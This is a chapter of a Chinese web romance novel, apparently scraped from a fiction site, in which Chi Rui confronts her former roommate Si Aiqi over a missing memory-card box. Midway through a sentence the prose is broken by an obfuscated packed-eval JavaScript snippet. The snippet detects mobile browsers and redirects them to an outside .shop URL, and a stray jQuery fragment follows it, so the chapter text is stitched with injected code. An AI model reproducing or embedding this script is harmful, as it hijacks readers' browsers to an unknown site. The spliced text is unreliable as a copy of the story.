文趣网 > 其他小说 > 网恋禁止爆照片 > 27. 争吵
    想不通。

    算了,还是先找东西吧。

    很久没来宿舍了,搬走后将近两年半,才回去过一两次。

    池芮刷卡,推开门,客厅的灯没开,窗帘拉着,午后的阳光从缝隙里挤进来,照出一地狼藉。

    茶几上摞着七八个啤酒瓶,歪倒几个,酒渍淌下来洇进地毯。外卖盒子散在沙发和茶几之间,筷子掉在地上,踩断了一根。酒水、没散尽的烟、食物残渣油腻的味道……混杂着,在空气里发酵。

    池芮僵在原地,捏住鼻子,不敢痛快呼吸。

    司爱琪在这做了什么,聚众狂欢?

    这栋留学生公寓修建完工没过多久,宽阔明亮,设施完善,有客厅、厨房、卫浴,条件比普通学生宿舍好很多。

    池芮是港澳台学生,和美籍的司爱琪都属于“外招生”,两人被分到同一间二居室。

    她英文不好,从未想过出国,只是尽可能地选择离家远一点的城市。

    刚上大学那会儿,池芮有意融入集体,和新室友打好关系,特意给她准备了一份见面礼。一套餐具、一套床品,或许以后可以一起做饭、一起追剧。

    在她的期望中,就算不能彼此推心置腹,也能相敬如宾。

    可惜没有。

    两人生活习惯南辕北辙。

    司爱琪实在大手大脚,养异宠、在阳台抽烟、随意乱扔脏衣服,累了可以倒头就睡……

    池芮自认不是很有洁癖的人,但感受到一种隐形的美式霸凌。

    没多久,就发生了一点争端,她和司爱琪闹了不愉快,主动搬了出去。

    上次回来还是一年前。

    池芮捻手捻脚,往自己房间走去。

    可是,门居然没锁?怎么会……她记得走之前分明关了的,现在却开了一条缝。

    甚至床上还铺着褥子。

    浅杏色的鹅绒薄被叠得不太规整,方方正正放在床尾,但边角松垮,应该是仓促之下潦草处理过的。

    枕头并排摆在床头,微微偏斜,枕套上压出几道浅浅的折痕。床单铺平了,只是边缘有一角没塞好,垂下来搭在床沿。

    池芮站在原地,盯着那张床发懵。

    她走得匆忙,没有大动干戈地清空,但是有简单收拾过房间,床品都整整齐齐叠好收进柜子,现在全被翻出来了。

    心里大叫不妙,但还是四处转了转,检查还有什么被擅自移动的物品,似乎没有。

    于是在书桌边翻找储存卡。

    桌面上摆着一只小巧的微型书架,略显杂乱地搁置着零碎的东西。

    她走得匆忙,桌面的东西没有收纳起来,一直摆在这里,过去很久,这些物件都落了层薄灰。仿佛一样都没少,可再特地去翻找,偏偏看不到她的想找的那一样。

    储存卡呢?

    她记得是收在一只维多利亚珐琅香盒里,很明显才是,怎么不见了?

    池芮不死心,可是抽屉、书柜、床头柜也没有……她皱眉,反扣书架,用力倒出来,东西摊了一桌面。

    又翻一遍,还是没有!

    满屋子翻箱倒柜,动作愈发粗暴。

    似听到动静,一个女生从另外的房间探出身。

    “你是司爱琪室友?要找什么吗?”

    池芮睨人一眼:“嗯,你是谁?”

    “我是她朋友,”女生披着宽大外套,头发散乱,声音沙哑,“我叫林月莹”

    池芮把抽屉重重关回去,肚里憋火,连带着嘴上也不客气:“你们进我房间,还睡了我的床?”

    “司爱琪说是借用你的……对不起啊,我们就在你房间睡了两晚,其他的东西都没有乱碰,你是丢了什么?”

    “司爱琪?她怎么那么会慷他人之慨呢,她住在这里,也没有权利随便进我的房间,拿我的东西!”

    “要不我帮你找找?”

    “不用了,我自己都找不到……”

    林月莹踌躇,半天说不出来什么话。

    池芮则是气鼓鼓的,看这姑娘的也是稀里糊涂装傻的样子,和她纠缠做什么,冤有头债有主,她要找司爱琪当面对峙。

    -

    楼下,汽水男和箱子不见踪影。

    司爱琪和许奕舟还站在那边,好像就要告别,但是又没有。

    该死,他们怎么那么多话要说啊!

    池芮一脸嗜血,像撞破了奸情的苦主、又像追杀人贩的警察,若不是碍于脸面,她真想梁山好汉似的暴喝一声“直娘贼”冲将过去。

    她杀气腾腾地走到司爱琪面前,开门见山——

    “你怎么乱翻我房间东西?”

    “啊,没有乱翻,我是……应急嘛,只睡了三四个小时。”

    司爱琪眉毛痛苦地纠缠在一起。

    她承认,自池芮搬出去以后,在屋子越发肆无忌惮。

    昨晚几个朋友过来喝酒,有两个女孩子没地方睡,就借用一下空置的房间。这也是偶发事件,哪里料到失踪多年的室友毫无征兆地上门。

    还当众跑上来大吵一架?难道几年前的恩怨还没了解?

    她吞吞吐吐地。

    “本来今早想收回去的,起太晚,没来得及……本来想和你说一声,但是那个,你微信把我拉黑了?刚刚又走那么快。好吧对不起,以后我未经允许,不碰你的东西。”

    池芮盯着她。

    见人不答,司爱琪似有些尴尬:“好吧,这个对不起了,以后你的东西我都不用,或者提前和你说。”

    “你开我门干嘛?”池芮又问。

    司爱琪噎了一下。

    “我看钥匙挂在门上,我就……暂时借用一下。”她叹气,“好吧,我知道错了。不该开你门,不该动你东西,但除了床上用品,其他的都没乱动,你介意的话,大不了我赔你一套好了。”

    池芮余光中,注意到许奕舟退到一边的长椅坐下了。

    “床品先不管,我房间现在有东西不见了,谁负责?”

    说着,眼珠子一滚,轻飘飘拐到许奕舟身上——好整以暇坐着观戏的架势,他什么意思?

    只看了一下,视线又回正过来。

    司爱琪也为难地看一眼许奕舟,放低声量:“什么东西不见?回去说,我帮你找。”上去扯了一下人衣袖,试图把她往楼道那边引。

    “回垃圾场去找吗?我不要,里面找过了,没有!”池芮纹丝不动,甩开她,“我闲着没事干,专门跑来诬蔑你吗?”

    这两句话刁钻、刻薄、咄咄逼人,可她没说错。

    她莫名丢了东西,还不能生气吗?又没有不分青红皂白地上去扇她一巴掌,虽然她想,但是许奕舟还在。

    池芮说不清是希望他在还是希望他不在了。

    一开始有名正言顺教训司爱琪的念头,存心让他看看此人的庐山真面目。都没来得及细想,就扑上去了。

    许奕舟还在不近不远的注视着这边,似乎无意掺和打扰,他为什么不走呢?还有什么和司爱琪要说的话?要等着帮司爱琪撑腰?

    自己真是失态——

    “没这意思,你先说是什么东西,我负责,赔给你行吗?”司爱琪有些头痛了。

    “一个迷你香盒,就放在桌子上。你赔不了,还是想办法找回来吧,东西是在卧室里丢的,谁进去过?总有一个知道吧。”

    “我没有见过这个东西……莹莹我也打包票,她不是那种人。至于昨晚那俩,我问问吧。”

    说完,当面拨了个电话,嘴里嗯嗯啊啊应着,然后转告池芮。

    “她们进去就在床上睡觉,桌子上有什么都不知道。”

    司爱琪烦躁地抓了把头发:“会不会是自己搬走的时候带出去了,忘了?”

    “不会。”

    “有可能掉在哪个角落……”

    “你想说什么?都是我的错?”池芮冷笑,“反正我也没有证据证明自己房间确实有过这一个东西,也没有监控拍到你们这些人出入我房间的画面!她们都是你的朋友,你肯定向着她们了……”

    “你别闹了,何必得理不饶人呢?我请人全屋打扫,再帮你地毯式搜寻一次可以吗?”司爱琪被好一顿指摘,胸中怄气,“实在不行我赔,又不是赔不起,多少钱都可以!”

    “你赔不起,多少钱都不行,那不是普通的盒子,而且……”还有她的相片。

    “够了池芮!”司爱琪的脸拉了下来,“你到底想怎样?我都说了愿意赔,谁知道你说的是真是假!”

    眼看二人剑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752783|208123||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拔弩张,许奕舟起身,按着司爱琪肩膀后退,拉开她们的距离。

    又是这样。

    他们又靠得那么近,好像是一伙的,她算什么?还搁跟前现眼,徒增笑料而已。

    池芮这一刻才有实感,那个小盒子恐怕找不回来了。

    她反复回忆着放在哪里,尽管很笃定没有错,本该待在的地方没有了……不见了,就是不见了!她那两三年的心血,拍了成千上万张照片,都不见了!

    许奕舟还和元凶站在一起,他们真是坏!许奕舟最为坏!无视她的心意。

    那些精挑细选的礼物,被垃圾一样胡抛乱洒出去,扔在这个箱子里那个箱子里。

    这个问题解决不好了。

    池芮不想再大喊大叫,她只想哭!

    只是这么一想,眼眶里果然淌出泪珠。

    这场毫无征兆的哭泣把对面两人吓了一跳。

    司爱琪话都不会说了:“你,你你怎么……我可没欺负你……别哭啊,这算什么。”

    池芮也吓了一跳。好好吵着架,眼泪就不受控地掉了下来,把气势都哭散了。她飞快揩去泪珠,不过是掩耳盗铃而已,全被瞧见了。

    “好吧,都是我的错,姑奶奶,我赔还不行吗?”司爱琪放软声音,“你真的要在这里哭吗?等下别人还以为我们仨怎么了呢。”

    池芮的四肢、躯干都木僵了,只是一味地流眼泪。

    “我没有好好说吗?本来就很难赔。”

    她哽咽着,努力找回自己声音,让咬字不要被鼻腔堵塞,浸泡得肿胀,结成团。

    “盒子里面还装着存储卡,里面的照片,怎么花钱赔……难道我想讹你吗?多少钱都不行啊。”

    “ok,我负责到底,把屋子翻个底朝天,也给你找出来?我约个侦探团队,让他们去跟踪调查,我再去盘问那几个朋友,哪怕撕破脸。”

    “本来就是你的失误,别假惺惺了。”

    “对,是我的失误。”司爱琪吃软不吃硬,“这样可以吗?”

    池芮咬唇,一边袖子捂着脸,小声抽噎。

    司爱琪蹲下一点,脑袋贴到池芮面前,扮了个鬼脸:“还有什么需要补充的?”

    池芮忍俊不禁,撇开头。

    司爱琪又转到人面前——女孩双目低垂,睫毛似沾染晨露的蝶翼,不停颤动着,把泪珠抖落下来,顺着瓷白的脸颊滑落。眼眶红肿,原本清亮的眸子裹上一层水汽,雾蒙蒙的。

    看得人心软。司爱琪恍神,从衣兜掏出张纸巾,就要上手去擦。

    池芮敏锐弹开。

    “喂,你这个皱巴巴的纸巾,是不是抹过鼻涕!”发出的声音则像兴奋的斗鸡,高亢。

    她拨开司爱琪:“你走开!现在不想和你说话。找好了微信联系我,尽快。”

    “用我的吧,是干净的。”许奕舟不知什么时候过来,递给她一包纸巾。

    司爱琪见状,有点讪讪,抖了抖那张纸,嘴里咕哝着:“就是皱了点啊,没用过的。”

    她围在池芮边上转个不停,看人抽出手帕纸,又问,“要不要我帮你擦啊?”

    池芮整理好仪容,吸了吸鼻子:“你回去吧,再不清扫房屋,老鼠就要出来偷家了。”

    “我会弄好的。”司爱琪被说得不好意思,继而担心,“不过你真的没事吗?要不要我送你回去?”

    “你就不要添堵了。”

    “好吧,既然你不乐意和我玩——”司爱琪把边上的许奕舟推过去,“让他代为效力,怎么样?就这样定了,我可不欠你的,别委屈巴巴憋一肚子气回去!”

    显是为自己这番举措感到高明的样子。

    池芮却被她的自作主张感到震惊,假意推脱。

    “你这什么馊主意,我们不认识,他和这件事不相干,怎么代劳。”

    “她都被气哭了,你不愿意吗?”

    司爱琪不等许奕舟说话,朝他比出两个手指。

    “日行第二善,积阴德啦!”

    又不是许奕舟做的孽,他怎么会答应?

    池芮呆站在原地,两手插在外衣口袋里,指尖捏着用过的纸团。

    她提前失落,仍不免紧张,没有往许奕舟那边看,耳尖早就立了起来。